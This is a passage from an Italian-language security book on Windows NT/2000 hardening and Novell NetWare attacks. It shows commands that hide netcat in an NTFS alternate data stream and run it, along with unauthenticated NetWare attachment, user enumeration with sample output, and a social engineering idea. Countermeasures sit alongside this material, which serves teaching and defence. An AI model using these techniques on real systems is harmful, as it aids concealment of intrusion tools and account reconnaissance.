Se nel sistema di destinazione è stato installato il file system di NT (NTFS), è possibile utilizzare una tecnica alternativa per nascondere i file. NTFS contiene una funzionalità che consente di suddividere un file in diversi flussi (stream). Microsoft definisce la tecnica di streaming come un meccanismo per aggiungere attributi o informazioni addizionali a un file, senza dover ristrutturare il file system (per esempio, quando sono attivate le funzioni di compatiblità dei file Macintosh di NT). Questa tecnica può anche essere utilizzata per nascondere gli strumenti di un hacker malintenzionato nei flussi dietro i file.
Nell'esempio seguente, il file `netcat.exe` viene aggiunto come flusso a un file generico, trovato nella directory *winnt\system32\os2*, in modo che possa essere utilizzato in attacchi successivi su altri sistemi remoti. Questo file è stato scelto per il suo nome ermetico, ma per questa operazione può essere utilizzato qualunque file.

Per creare il flusso, l'hacker deve impiegare l'utility POSIX chiamata `cp` (presente nel Resource Kit di Windows NT). La sintassi è semplice e richiede l'utilizzo del carattere `:` nel file di destinazione per specificare il flusso:

```
C:\>cp <file> oso001.009:<file>
```

Per esempio:

```
C:\>cp nc.exe oso001.009:nc.exe
```

Questo comando nasconde `nc.exe` nell flusso `"nc.exe"` di `oso001.009`. Per estrarre `netcat`, dovete digitare la stringa seguente:

```
C:\>cp oso001.009:nc.exe nc.exe
```

Creando il flusso, la data di modifica di `oso001.009` viene aggiornata, ma la dimensione del file resta invariata (alcune versioni di `cp` lasciano inalterata anche la data). Per questo motivo i file di flusso sono veramente difficili da individuare.
Per cancellare il file in un flusso è necessario trasferirlo in una partizione di tipo FAT e ricopiarlo nuovamente sulla partizione NTFS.
Il file nascosto in un flusso può anche essere eseguito senza essere estratto. A causa delle limitazioni di `cmd.exe`, non è possibile eseguire direttamente i file in un flusso (che nel nostro caso è `oso001.009:nc.exe`). Potete provare invece a utilizzare il comando `start`, come mostrato di seguito:

```
start oso001.009:nc.exe
```

Contromisure: ricerca dei flussi

Un eccellente strumento di ricerca dei flussi è `sfind` di Foundstone (per ulteriori informazioni potete visitare l'indirizzo `http://www.foundstone.com`).

Funzionalità di sicurezza di Windows NT

Windows NT fornisce molti strumenti di gestione della protezione. Queste utility sono eccellenti sia per rafforzare un sistema sia per svolgere semplici operazioni di configurazione generale che contribuiscono a mantenere la messa a punto dei sistemi in modo da evitare la creazione di falle. La maggior parte delle funzionalità illustrate in questo paragrafo sono disponibili in Windows 2000 e versioni successive.

Installazione di patch aggiornate

Una delle contromisure più importanti per la sicurezza, lo abbiamo ripetuto numerose volte in questo capitolo, consiste nel tenersi aggiornati sugli hotfix e sui service pack di Microsoft. Tuttavia, al giorno d'oggi il download e l'installazione manuale del flusso ininterrotto di aggiornamenti software emanati da Microsoft è un lavoro a tempo pieno (a maggior ragione se gestite un numero elevato di sistemi Windows diversi). Quali soluzioni sono disponibili per il monitoraggio e l'installazione automatizzata delle patch?
Tra le opzioni più importanti disponibili occorre citare l'MBSA (*Baseline Security Analyzer*) di Microsoft destinato a coloro che non intendono effettuare spese eleva-

te per un tool maggiormente automatizzato (`http://www.microsoft.com/technet/tool/Tool/MBSAhome.asp`); HFNetChk Pro o LT di Shavlik se siete disposti a fare qualche sacrificio per avere un tool migliore (`http://www.shavlik.com`); il Software Update Service (SUS, già Windows Update Corporate Edition) gratuito di Microsoft per le organizzazioni di grandi dimensioni su cui viene eseguito Windows 2000 con esigenze non complesse di installazione di patch (`http://www.microsoft.com/windows2000/windowsupdate/sus/default.asp`); infine, il SUS Feature Pack di SMS (*Systems Management Server*) per le aziende di grandi dimensioni con esigenze complesse quali reporting sullo stato, targeting, ampio supporto dei package (i service pack e gli aggiornamenti di Office non possono essere gestiti da SUS), rollback automatizzati, gestione della larghezza di banda e altre funzionalità maggiormente complesse non disponibili in SUS (`http://www.microsoft.com/smserver/downloads/20/default.asp`). A lungo termine, SMS sembra essere la soluzione più promettente, ma attualmente non ci si può fare affidamento.

Criterio di gruppo

Uno degli strumenti più potenti tra tutti quelli disponibili in Windows 2000 Server è *Criteri di gruppo*. Gli oggetti GPO (*Group Policy Object*) possono essere memorizzati in Active Directory o su un computer locale per definire certi parametri di configurazione a livello di dominio esteso o locale. I GPO possono essere applicati a siti, domini o unità organizzative (OU) e vengono ereditati dagli utenti o dai computer chiamati "membri" di quel GPO.

I GPO possono essere visualizzati e modificati in qualunque finestra di console MMC (sono necessari i privilegi di Administrator). I GPO forniti con Windows 2000 e versioni successive sono *Criteri Computer locale*, *Criteri di dominio* e *Criteri Controller di dominio*. Per richiamare l'oggetto *Criteri Computer locale* è sufficiente eseguire *Start/Esegui/gpedit.msc*. Per visualizzare i GPO è anche possibile accedere alla finestra di dialogo delle proprietà di un oggetto di directory specifico (dominio, OU o sito) e poi selezionare la scheda *Criterio gruppo*, come mostrato nella figura seguente. Questa schermata visualizza il GPO particolare che si applica all'oggetto selezionato (l'elenco è in ordine di priorità), mostra se l'ereditarietà è bloccata e permette la modifica del GPO.

La modifica di un GPO rivela una moltitudine di configurazioni di protezione che possono essere applicate agli oggetti di directory; di particolare interesse è il nodo *Configurazione computer/Impostazioni di Windows/Impostazioni protezione/Criteri locali/Opzioni di protezione*. Qui, infatti, sono visualizzati più di trenta parametri diversi che possono essere configurati per migliorare la protezione per qualunque oggetto al quale il GPO viene applicato. Tra questi parametri vi sono: *Consenti l'accesso libero agli utenti anonimi* (l'impostazione *RestrictAnonymous*), *Livello di autenticazione di LanManager* e *Rinomina account amministratore*, tre impostazioni importanti che in NT 4 erano accessibili attraverso svariate interfacce.
Il nodo *Impostazioni protezione* è anche quello che permette di impostare *Criteri account, Criteri controllo, Criteri chiave pubblica* e *Criteri di protezione IP su computer locale*, consentendo l'impostazione di queste procedure ottimali a livello di sito, dominio o OU. Il compito di gestire la protezione in ambienti che includono un grande numero di computer risulta notevolmente ridotto. La Figura 5.11 mostra l'oggetto *Criterio di dominio predefinito*.

Figura 5.11
Il criterio di dominio predefinito.

I GPO sembrano essere il metodo migliore per configurare domini Windows 2000 e versioni successive. Tuttavia potreste accorgervi che a volte i risultati sono incostanti quando abilitate alcune combinazioni di criteri a livello locale e di dominio; inoltre anche il ritardo prima che le impostazioni di *Criteri di gruppo* diventino effettive può essere frustrante. L'utilizzo dello strumento `secedit` per aggiornare immediatamente il criterio è uno dei modi per affrontare il problema di questo ritardo. Per aggiornare il criterio con `secedit`, aprite la finestra di dialogo *Esegui* e inserite la stringa seguente:

```
secedit /refreshpolicy MACHINE_POLICY
```

Per aggiornare i criteri sotto il nodo *Assegnazione diritti utente*, digitate invece:

```
secedit /refreshpolicy USER_POLICY
```

IPSec

In Windows 2000 e versioni successive viene implementato lo standard IP Sec. Sebbene sia spesso associato a reti private virtuali e al "tunneling" di traffico di dati riservati sulla rete in canali criptati, IPSec, così come viene implementato nella famiglia NT, consente anche di configurare filtri del traffico di rete basati su host. I filtri di IPSec elaborano i pacchetti molto precocemente nello stack della rete e rigettano i pacchetti ricevuti su un'interfaccia se non soddisfano i criteri del filtro. A differenza dei filtri TCP/IP, i filtri di IPSec possono essere applicati a singole interfacce e bloccano correttamente l'ICMP (sebbene non siano sufficientemente specifici da bloccare singoli sottotipi di ICMP quali echo, echo reply, indicatori data e ora e via dicendo). I filtri di IPSec non richiedono un riavvio del sistema per l'attivazione (sebbene le modifiche apportate ai filtri provochino la disconnessione di connessioni IPSec esistenti). Essi sono soprattutto una soluzione per i soli server, non un firewall personale per le workstation, poiché bloccano il lato interno di connessioni legittime dirette all'esterno (a meno che tutte le altre porte siano accessibili), così come i filtri TCP/IP. L'ICF (*Internet Connessione Firewall*) è un tool migliore per la protezione delle workstation (ne parleremo tra breve in questo paragrafo).

*Anche il RRAS (*Routing and Remote Access*) implementa filtri simili a quelli di IPSec, che incidono in misura minore sulle prestazioni.*

Potete creare filtri IPSec utilizzando l'applet di *Strumenti di amministrazione/Criteri di protezione locali* (secpol.msc). Nella GUI, fate clic con il tasto destro del mouse su *Criteri di protezione IP su computer locale* situato nel riquadro a sinistra, quindi selezionate *Gestisci elenchi filtri IP e operazioni filtro*.
Occorre rilevare che di default i filtri IPSec non bloccano il traffico multicast o broadcast, QoS RSVP, IKE (*Internet Key Exchange*) porta 500 (UDP), o Kerberos porta 88 (TCP/UDP); per maggiori informazioni su questi servizi quando sono correlati a IPSec in Windows 2000 visitate l'indirizzo `http://support.microsoft.com/support/kb/articles/Q253/1/69.asp`. Nel Service Pack 1 è stata inclusa una nuova impostazione del Registro che consente di disabilitare le porte Kerberos disattivando la regola IPSec di esenzione dei driver:

```
HKLM\SYSTEM\CurrentControlSet\Services\IPSEC\NoDefaultExempt
Type:    DWORD
Max:     1
Min:     0
Default: 0
```

Solo IKE, Multicast e Broadcast rimangono esenti e non sono influenzati da questa impostazione del Registro. Il traffico Kerberos e RSVP non è più esentato di default se questo Registro è impostato a 1.

Ufficialmente, Ipsecpol non è supportato da Microsoft e può produrre risultati non riproducibili. In Windows .NET Server 2003, il comando `netsh` *implementa i tool di modifica di IPSec da riga di comando.*

runas

I sostenitori di UNIX potrebbero avere l'impressione che si tratti di un piccolo passo per il mondo Windows, tuttavia finalmente Windows 2000 propone un comando nativo di cambio utente chiamato runas e analogo al comando su di UNIX.

Una delle regole ormai assodate nel mondo della sicurezza è che la scelta migliore possibile è quella di eseguire le operazioni nel contesto dell'account utente che dispone dei privilegi minimi indispensabili, perché programmi trojan eseguibili, messaggi di posta o siti Web remoti, visitati con un browser, sono tutti in grado di lanciare comandi con i privilegi dell'utente attualmente connesso e tanto maggiori sono questi privilegi, tanto peggiore può essere il danno potenziale.

Molti di questi attacchi subdoli possono verificarsi durante le attività di tutti i giorni e sono pertanto particolarmente rilevanti per coloro che necessitano dei privilegi di Administrator per svolgere almeno parte del loro lavoro giornaliero (per esempio aggiunta di workstation al dominio o gestione degli utenti dell'hardware). La maledizione di quelle povere anime che si connettono al loro sistema come Administrator è che non hanno mai abbastanza tempo libero per connettersi come utenti normali, come vorrebbero le normali procedure di sicurezza. Questa può essere una cosa particolarmente pericolosa nel mondo odierno, caratterizzato da una sempre maggiore connessione al Web della rete aziendale. Se un Administrator si dovesse imbattere in un sito Web con problemi o dovesse leggere un messaggio di posta elettronica formattato HTML con incorporato un contenuto attivo (si veda il Capitolo 16), il danno che potrebbe subire sarebbe di portata ben maggiore rispetto a quanto potrebbe accadere se fosse un normale utente sulla propria workstation a commettere lo stesso errore.

Il comando runas permette a chiunque di connettersi come utente con privilegi limitati e poi di passare ad Administrator quando l'operazione da compiere lo richiede. Per esempio, supponiamo che Joe sia connesso come utente normale del gruppo User al controllore di dominio tramite Terminal Server e che improvvisamente abbia la necessità di cambiare una delle password dei membri di Domain Admins (magari perché uno di essi ha appena deciso di licenziarsi e se n'è andato sbattendo la porta). In qualità di utente normale però non può nemmeno avviare lo strumento *Utenti e computer di Active Directory*, quindi figuriamoci se può cambiare una password di un membro di Domain Admins. Ecco allora che a salvare Joe entra in gioco runas, che egli utilizza nel modo seguente.

1. Fa clic su *Start/Esegui* e inserisce la stringa seguente:

   ```
   runas /user:mydomain\Administrator "mmc
   %windir%\ system32\dsa.msc".
   ```

2. Digita la password di Administrator.
3. Dopo aver avviato *Utenti e computer di Active Directory* (dsa.mmc), può modificare la password di Administrator a proprio piacimento in quanto detiene i privilegi dell'account *mydomain/Administrator*.
4. Fatto questo chiude *Utenti e computer di Active Directory* e torna alla sua vita di utente normale.

Il nostro eroe Joe si è appena risparmiato la fatica e il rischio di disconnettersi da Terminal Server, riconnettersi come Administrator, disconnettersi di nuovo e, infine, rientrare come utente normale. La parola d'ordine è: privilegi minimi ed efficienza minima.

Se tenete premuto il tasto Maiusc quando fate clic con il tasto destro del mouse su un file in una finestra di Esplora risorse *di Windows 2000, nel menu contestuale apparirà l'opzione* Esegui come.

.NET Framework

.NET Framework (.NET FX) di Microsoft abbraccia un ambiente per la creazione, l'utilizzo e l'esecuzione di Web Services e altre applicazioni. Non confondetevi con la generica .NET Initiative di Microsoft, comprendente prodotti quali .NET Server 2003 e Office.NET (a quanto pare, tutti i nuovi prodotti Microsoft finiscono in .NET!). .NET Framework è una parte integrante di tale progetto, ma è una piattaforma tecnologica distinta all'interno della più generica visione .NET di un personal computer come socket di servizi.

In realtà molti hanno definito .NET Framework come un concorrente in termini di funzioni dell'ambiente di programmazione Java di Sun Microsystems e dei servizi correlati. Chiaramente si tratta di un cambiamento enorme per Microsoft. Fornisce un ambiente di sviluppo ed esecuzione interamente separato e distinto dall'appoggio originale del mondo Windows, l'API Win32 e NT Services. Come la mossa destinata ad allineare tutti i prodotti con l'allora nascente Internet a metà degli anni Novanta, .NET Framework rappresenta un punto di partenza significativo per Microsoft. Probabilmente diventerà strettamente integrata a tutte le sue tecnologie future. La comprensione delle implicazioni di questa nuova direzione è importante per chiunque debba garantire la sicurezza delle future tecnologie di Microsoft.

Per ulteriori informazioni su .NET Framework, consultate Windows 2000, la sicurezza, Apogeo, 2000.

Internet Connection Firewall

ICF (*Internet Connection Firewall*) è probabilmente la funzionalità di sicurezza più visibile inclusa in Windows XP. ICF soddisfa l'esigenza di una soluzione completa per la sicurezza della rete, facilmente impostabile e configurabile in fase di installazione del sistema operativo. ICF offre inoltre un filtraggio di pacchetti che consente l'utilizzo di una rete di uscita libera con il blocco della connettività non richiesta in entrata, rendendo la sicurezza di rete trasparente per gli utenti.

Gli aspetti principali da rilevare a proposito di ICF sono due: non è attivato di default e attualmente non prevede il filtraggio del traffico diretto all'esterno. Inoltre è impossibile il filtraggio in base all'indirizzo IP. A parte questi difetti relativamente insignificanti (che probabilmente non sarebbero comunque sfruttati da utenti non particolarmente evoluti), la funzionalità di filtraggio dei pacchetti da esso fornita è solida e facilmente gestibile. La protezione di ICF può anche essere estesa a reti di piccole dimensioni tramite ICS (*Internet Connection Sharing*), che effettua la conversione NAT (*Network Address Translation*) e il filtraggio di pacchetti su host di gateway con diverse interfacce di rete. Configurati opportunamente, ICF e ICS rendono Windows XP praticamente invisibile alla rete e creano una barriera praticamente insuperabile per i potenziali intrusi.

Crittografia del file system

Uno degli elementi centrali più importanti in materia di sicurezza di Windows 2000 è l'EFS (*Encrypting File System*), un sistema basato sulla crittografia a chiave pubblica per la cifratura trasparente dei dati su disco in tempo reale, in modo che gli hacker non possano accedervi senza la chiave appropriata. Microsoft ha pubblicato un documento che analizza il funzionamento di EFS, disponibile all'indirizzo `http://www.microsoft.com/windows2000/techinfo/howitworks/security/encrypt.asp`). In breve potremmo dire che EFS può crittografare un file o una cartella con un algoritmo di cifratura rapido e simmetrico, utilizzando una chiave crittografica FEK (*File Encryption Key*) generata in modo casuale e specifica per il file o la cartella. La release iniziale di EFS utilizza il DESX (*Extended Data Encryption Standard*) come algoritmo di cifratura: la chiave di cifratura generata casualmente viene quindi essa stessa criptata con una o più chiavi pubbliche, compresa quella dell'utente (ogni utente in Windows 2000 riceve una coppia di chiavi pubblica/privata) e un agente di recupero chiavi RA (*Recovery Agent*). Questi valori cifrati vengono memorizzati come attributi del file.

Il recupero della chiave viene implementato nel caso in cui, per esempio, alcuni dipendenti, che hanno cifrato dati importanti, lascino un'organizzazione oppure perdano la loro chiave di cifratura. Per impedire la perdita irreparabile di dati cifrati, Windows 2000 impone l'esistenza di un agente di recupero dei dati per EFS e, infatti, senza di esso la cifratura non funzionerà. Dato che il FEK è completamente indipendente dalla coppia di chiavi pubblica/privata di un utente, un agente di recupero può decifrare il contenuto di un file senza compromettere la chiave privata dell'utente. L'agente di recupero predefinito per un sistema è l'account dell'amministratore locale.

Sebbene EFS possa essere utile in molte situazioni, probabilmente non è adatto nel caso in cui vi siano più utenti di una stessa workstation che desiderano proteggere i propri file dagli altri: per questo, infatti, esistono le liste di controllo degli accessi (ACL) del file system NTFS. Microsoft suggerisce di utilizzare EFS come livello di protezione contro gli attacchi in cui le protezioni di NTFS vengono aggirate, come l'avvio con un sistema operativo alternativo e l'utilizzo di strumenti di terze parti per accedere a un disco fisso, oppure per i file memorizzati su server remoti. Il documento che Microsoft dedica a EFS sostiene in modo specifico che "EFS si rivolge in modo particolare alle preoccupazioni relative alla sicurezza, generate da strumenti disponibili su altri sistemi operativi i quali permettono agli utenti di accedere ai file di un volume NTFS senza una verifica degli accessi". A meno che non sia implementato nel contesto di un dominio Windows, questa affermazione è difficile da sostenere.

Raw Sockets e altre critiche non comprovate

Finora sono state avanzate molte critiche sulla sicurezza di Windows XP e .NET Server e sicuramente altre seguiranno dopo la distribuzione. Sia che siano state avanzati da Microsoft, dai suoi sostenitori o dai suoi molti critici, questi dubbi verranno dissipati solo dal tempo e dai test in scenari reali. Poco prima del lancio di Windows XP, un esperto di sicurezza, Steve Gibson, ha causato molta sensazione asserendo che il supporto di Windows XP per un'interfaccia di programmazione chiamata Raw Sockets porterà a diffusi attacchi di rilevamento dell'indirizzo di rete e Denial of Service basati su tali tecniche. Ovviamente questa apocalisse non si verificherà mai.

Meditate su questa affermazione, che riassume piuttosto bene la nostra posizione sulla sicurezza di Windows.
La maggior parte della tanto propagandata "insicurezza" di Windows è provocata da errori comuni esistenti da molto tempo in molte altre tecnologie. Sembra che sia peggiorata solo per via del diffuso utilizzo di Windows. Se scegliete di adottare la piattaforma Windows per gli stessi motivi che l'hanno resa così famosa (facilità d'utilizzo, compatibilità e così via), dovrete affrontare il problema di come renderla sicura e mantenerla tale. Si spera che la conoscenza acquisita con questo libro vi renda più sicuri.

Capitolo 6

Hacking di Novell NetWare

Uno dei più comuni fraintendimenti relativi a Novell è che i prodotti di quest'azienda sarebbero superati e attualmente inutilizzabili (almeno questo è quanto Microsoft e i produttori di sistemi UNIX vogliono farvi credere). Anche se la quota di mercato nelle vendite di server Novell non è certo in crescita, NetWare è ben lontano dall'essere morto e sepolto. Con la cifra impressionante di 81 milioni di utenti NetWare nel mondo e una stima di 4,5 milioni di server (Novell Partner Sales Training, per informazioni consultate la pagina Web `www.novell.com/partners/quicktrain/pdf/nw6.pdf`), il rischio di esposizione dei dati delle aziende è elevato come non mai. Con la recente acquisizione dell'azienda produttrice di software SilverStream, nel luglio 2002, Novell si sta trasformando da semplice provider di un sistema operativo di rete in una piattaforma completa di servizi Web: questo significa che gli amministratori NetWare non dovranno guardarsi solo dagli attacchi di tipo NCP ed NDS, ma dovranno confrontarsi con le stesse difficoltà degli amministratori NT e UNIX, continuamente bersaglio di attacchi provenienti dal Web.

Per molti anni i server Novell hanno conservato le più importanti informazioni delle aziende e tutti i dati di maggior valore: contabili, relativi alle buste paga dei dipendenti, ai consuntivi e ai budget aziendali, alle risorse umane e ai movimenti finanziari (per nominare alcune categorie). Probabilmente sarete sorpresi nello scoprire quante siano le aziende che non possono o non desiderano abbandonare la piattaforma Novell, assumendosi gli oneri di rischiosi trasferimenti dei dati. Fino a ora, le cose sono andate bene per gli amministratori NetWare: molti degli attacchi lanciati fino a oggi contro i sistemi NT hanno sfruttato le imperfezioni del protocollo TCP/IP, quindi gli utilizzatori di NetWare hanno sempre riso sotto i baffi considerando sicuro il protocollo proprietario IPX/SPX. Non appena installeranno NetWare 5, che è dotato del supporto IP nativo, anche questi amministratori saranno proiettati nell'universo delle problematiche della sicurezza di rete.

Ma i sistemi Novell NetWare sono sicuri? Novell ha lavorato per molti anni sulla sicurezza dei suoi prodotti, perché allora dobbiamo preoccuparci della sicurezza di quello che dovrebbe essere il Fort Knox dei sistemi informativi? Questo è il genere di risposte che potreste ottenere direttamente da Novell, ma non da esperti di sicurezza dei sistemi informatici. È vero che NetWare può essere un sistema decisamente sicuro ma, a essere sinceri, sotto molti punti di vista c'è ancora tanto lavoro da fare. Le impostazioni predefinite di NetWare 4.*x* non preve-

dono praticamente alcun livello di sicurezza abilitato. Per esempio, nella versione predefinita di NetWare qualunque utente è in grado di consultare l'albero delle risorse NDS (*Novell Directory Services*) senza la necessità di autenticarsi. Inoltre, cosa ancora più grave, gli utenti di Novell non devono avere obbligatoriamente una password e durante la creazione degli account gli amministratori non sono costretti a specificare alcuna password.
Se pensate che questo tipo di attacco a NetWare è stato descritto in termini troppo semplicistici, provate a fare voi stessi un tentativo. Molti amministratori di sistemi NetWare non comprendono a fondo le implicazioni delle impostazioni predefinite di un server e non si sono mai occupati di problemi di sicurezza, facendo affidamento sulla cosiddetta "sicurezza fornita dall'oscurità"; di conseguenza non tentano di rendere più restrittive le norme relative alla salvaguardia dei sistemi.
Nel momento in cui cercherete di simulare l'attacco di un hacker per verificare la sicurezza del sistema tentando di introdurvi come farebbe lui, attraverso i buchi lasciati aperti dalle impostazioni predefinite di NetWare, vi assicuriamo che rimarrete a bocca aperta.
Nel Capitolo 3 abbiamo analizzato il modo in cui gli hacker possono introdursi di nascosto e circolare liberamente nelle vostre reti per raccogliere informazioni utili a connettersi al vostro server Novell. In questo capitolo cercheremo di completare il discorso, analizzando i passi successivi necessari per completare un attacco: lo scopo principale di questa invasione consiste nell'ottenere le credenziali di amministratore di sistema Novell ed, eventualmente, di appropriarsi allo stesso modo delle risorse dell'albero NDS. Purtroppo, questo genere di attacco è stato riscontrato molto spesso ed è abbastanza comune. La maggior parte degli attacchi descritti in questo capitolo dipende da un'impostazione predefinita su tutti i server NetWare 4, 5 e 6, ma che potrebbe non essere presente sui vostri: il contesto ***bindery***. Si tratta di una caratteristica derivata da NetWare 3 che permette la comunicazione con reti basate su Windows 2000 mediante il supporto al vecchio formato della password del gestore della LAN: perfetta per garantire la compatibilità, ma disastrosa per la sicurezza.

Collegarsi senza connettersi

Diffusione:	*10*
Semplicità:	*9*
Impatto:	*1*
Fattore di rischio:	*7*

Il primo passaggio che un hacker deve compiere per invadere un sistema consiste nel creare un ***attachment*** (collegamento) anonimo a un server Novell. Per capire che cosa sia un attachment, dobbiamo innanzitutto comprendere il meccanismo di autenticazione (login) di NetWare. Novell ha progettato il sistema NetWare in modo che per autenticarsi a un server è necessario creare un attachment al sistema. I processi di questo tipo sono collegati tra loro, ma non sono interdipendenti. In altre parole, quando l'autenticazione fallisce, l'attachment al sistema viene conservato. Per questo motivo non è necessario avere a disposizione un nome utente e una password validi per poter ottenere il collegamento richiesto. Come abbiamo già visto, dopo aver creato l'attachment, un hacker ha

a disposizione tutti gli elementi necessari per poter tentare la scalata al sistema NetWare che trova disponibile.
Nel Capitolo 3 abbiamo mostrato come sia possibile elencare le risorse della rete, alla ricerca di tutti i server NetWare presenti e dell'albero delle risorse. A questo punto non vi resta che eseguire l'attachment a un server; purtroppo, esiste un gran numero di modi per realizzare questa operazione. Verranno discussi gli strumenti principali che sono necessari per eseguire l'attachment a un server NetWare: On-Site Admin di Novell, `snlist` e `nslist`.
Potete anche tentare di eseguire l'attachment utilizzando i tradizionali programmi client per DOS (`login`) e per Windows (Client32 Login); ma in questo caso avrete la necessità di eseguire la procedura di autenticazione (questo non dovrebbe essere possibile, dal momento che non conoscete un nome utente valido e la password corretta che gli viene associata). L'utilizzo di un client per eseguire l'attachment non è considerato una tecnica percorribile da un hacker, visto che i tentativi di autenticazione errati sono registrati dal sistema. Nessun hacker che sia degno di questo nome utilizzerà un metodo di questo tipo per ottenere l'attachment.

On-Site Admin

Se siete un amministratore di sistema, On-Site è uno strumento molto utile, che dovreste tenere sempre a portata di mano (`ftp://ftp.cdrom.com/.1/novell/onsite.zip`). On-Site è un prodotto distribuito da Novell stesso, in grado di visualizzare informazioni relative a un sistema NetWare attraverso un'interfaccia grafica. Esso fornisce utili indicazioni sui server e sugli alberi delle risorse, consentendo di avere uno strumento di valutazione delle impostazioni di sicurezza della vostra rete. Gli sviluppatori di Novell sono stati molto bravi nel rendere disponibile uno strumento del genere, che, tuttavia, può essere anche utilizzato contro di voi. Per ironia della sorte, questo è diventato uno degli strumenti principali per poter tentare un attacco a un sistema Novell.
Quando il programma viene avviato, la sua interfaccia grafica mostra tutti i server NetWare che sono stati rilevati dalla scansione Network Neighborhood, che avete studiato nel Capitolo 3. A questo punto dovete semplicemente fare clic su uno dei server mostrati da On-Site. Questa operazione creerà automaticamente un attachment al server. Potete verificarne l'attivazione utilizzando NetWare Connections di Client32. In questo modo sarete in grado di creare, uno dopo l'altro, gli attachment a tutti i server che desiderate analizzare.

snlist e nslist

I programmi `snlist` e `nslist` sono entrambi in grado di eseguire attachment al server, allo stesso modo di On-Site. L'unica differenza consiste nel fatto che funzionano solamente attraverso la linea di comando. `snlist` tende a essere molto più rapido e viene considerato, quindi, lo strumento giusto per eseguire questa operazione; `nslist`, tuttavia, è in grado di visualizzare l'indirizzo completo del server, che, in seguito, potrà essere utile. Entrambi questi programmi possono essere utilizzati senza dover specificare parametri per eseguire attachment a tutti i server presenti sulla rete: in alternativa potete specificare il nome del server come parametro, per eseguire l'attachment a un sistema specifico. La tecnica di attachment è il fondamento per l'esecuzione di intrusioni che vedremo in seguito.

Se avete problemi nell'esecuzione di un attachment a un server Novell, verificate il vostro server Set Primary. Potete effettuare questa operazione aprendo la finestra di dialogo Network Connections *e controllando se esiste un server segnalato con un asterisco prima del nome. Prima di utilizzare questi strumenti dovete avere almeno un attachment attivo per un server esistente. Se tutto vi sembra corretto, ma continuate ad avere problemi, selezionate un altro server e fate clic sul pulsante* Set Primary.

Quando impiegate strumenti a riga di comando, molto probabilmente avrete la necessità di avviare un nuovo prompt dei comandi (`cmd.exe` *per NT oppure* `command.com` *per Win9x), ogni volta che desiderate effettuare una nuova connessione. Se non eseguite questa operazione, potreste incontrare una grande quantità di errori imprevisti e perdere molto tempo.*

Contromisure per l'attachment

Per ora non sembrano esistere contromisure possibili per poter disabilitare il meccanismo di attachment automatico a un server NetWare. Questa funzionalità, inoltre, pare sia altresì presente in NetWare 5.

Scansione dei bindery e degli alberi delle risorse

Diffusione:	*9*
Semplicità:	*10*
Impatto:	*3*
Fattore di rischio:	*7*

Una volta ottenuto lo stato di attachment senza autenticazione, è possibile recuperare dal sistema molte informazioni, molte più di quante se ne potrebbero ottenere normalmente. Programmi come `userinfo`, `userdump`, `finger`, `bindery`, `bindin`, `nlist` e `cx` consentono di ottenere informazioni sui bindery (i collegamenti di NetWare). I programmi di utilità come On-Site e NDS permettono invece di effettuare la scansione dell'albero delle risorse. Il loro utilizzo combinato consente di ottenere dal sistema la maggior parte delle informazioni necessarie per un attacco intrusivo. Ricordatevi che tutte queste informazioni sono disponibili semplicemente effettuando un attachment a un server Novell.

userinfo

Possiamo utilizzare la versione 1.04 di `userinfo`, chiamata ufficialmente *NetWare User Information Listing* (applicazione di scansione delle informazioni utente di NetWare) anche se la versione 2.1 dispone di alcune funzionalità notevoli. Il programma è stato scritto da Tim Schwab (`http://userinfo.swrus.com`) ed è in grado di fornire un rapido elenco di tutti gli utenti presenti nel bindery di un server. `userinfo` consente anche di ricercare un nome utente specifico: è sufficiente spacciare il nome utente come parametro del programma. Come potete vedere nella figura a pagina seguente, è possibile ottenere tutti i nomi utente definiti nel sistema,

compreso l'ID oggetto di ciascun utente. Per ottenere questo risultato, è necessario eseguire l'attachment al server SECRET e avviare il programma di utilità `userinfo`.

```
C:\WINNT\System32\cmd.exe
SECRET / Sunday, April 4, 1999 / 11:13 am

User ID  Name        Disabled Locked  Password  Last Login Address
-------- ----------- -------- ------ ---------- ---------- ---------------------
B9000001 admin       insufficient rights
EF000007 jscambray   insufficient rights
FA000001 smcclure    insufficient rights
FB000001 jsymoens    insufficient rights
FD000001 gkurtz      insufficient rights
FE000001 mdolphin    insufficient rights
FF000001 deoane      insufficient rights
10001    jsmith      insufficient rights
1010001  rpaul       insufficient rights
2010001  jhanley     insufficient rights
3010001  mmeadows    insufficient rights
4010001  abirchard   insufficient rights
5010001  ehammond    insufficient rights
6010001  jbenson     insufficient rights
7010001  eculp       insufficient rights
8010001  jhomey      insufficient rights
9010001  tgoody      insufficient rights
A010001  jgoldberg   insufficient rights
B010001  estein      insufficient rights

19 users found
```

userdump

La versione 1.4 di `userdump`, scritta da Roy Coates (`http://www.roy.spang.org/freeware/userdump.html`), svolge all'incirca le stesse funzioni di `userinfo`, visualizzando l'elenco degli utenti definiti nel sistema. Oltre a questo, `userdump` è in grado di visualizzare anche il nome completo assegnato all'utente, come mostrato nella figura che segue. Un hacker potrebbe utilizzare il vero nome dell'utente per tentare di effettuare qualche tipo di attacco non tecnico, come per esempio telefonare al centro di assistenza dell'azienda e richiedere la modifica della password.

```
C:\WINNT\System32\cmd.exe
  #   Username         Realname                    Last Login      Acc-Bal
---------------------------------------------------------------------------
  1 ABIRCHARD                                  65-???-77 68:79      N/A
  2 ADMIN                                      65-???-77 68:79      N/A
  3 DEOANE           Dan Seoane                65-???-77 68:79      N/A
  4 ECULP                                      65-???-77 68:79      N/A
  5 EHAMMOND                                   65-???-77 68:79      N/A
  6 ESTEIN                                     65-???-77 68:79      N/A
  7 GKURTZ           George Kurtz              65-???-77 68:79      N/A
  8 JBENSON                                    65-???-77 68:79      N/A
  9 JGOLDBERG                                  65-???-77 68:79      N/A
 10 JHANLEY                                    65-???-77 68:79      N/A
 11 JHOMEY                                     65-???-77 68:79      N/A
 12 JSCAMBRAY        Joel Scambray             65-???-77 68:79      N/A
 13 JSMITH                                     65-???-77 68:79      N/A
 14 JSYMOENS         Jeff Symoens              65-???-77 68:79      N/A
 15 MDOLPHIN         Martin Dolphin            65-???-77 68:79      N/A
 16 MMEADOWS                                   65-???-77 68:79      N/A
 17 RPAUL                                      65-???-77 68:79      N/A
 18 SMCCLURE         Stuart McClure            65-???-77 68:79      N/A
 19 TGOODY                                     65-???-77 68:79      N/A

C:\novell>_
```

finger

finger non è uno strumento necessario per ottenere l'elenco di utenti di un sistema, ma viene preso in considerazione perché è di grande aiuto nella ricerca di un particolare utente del sistema.
Per esempio, un hacker potrebbe aver concluso un'intrusione all'interno dei vostri sistemi Windows NT o UNIX e aver ottenuto un certo numero di nomi utente e password.
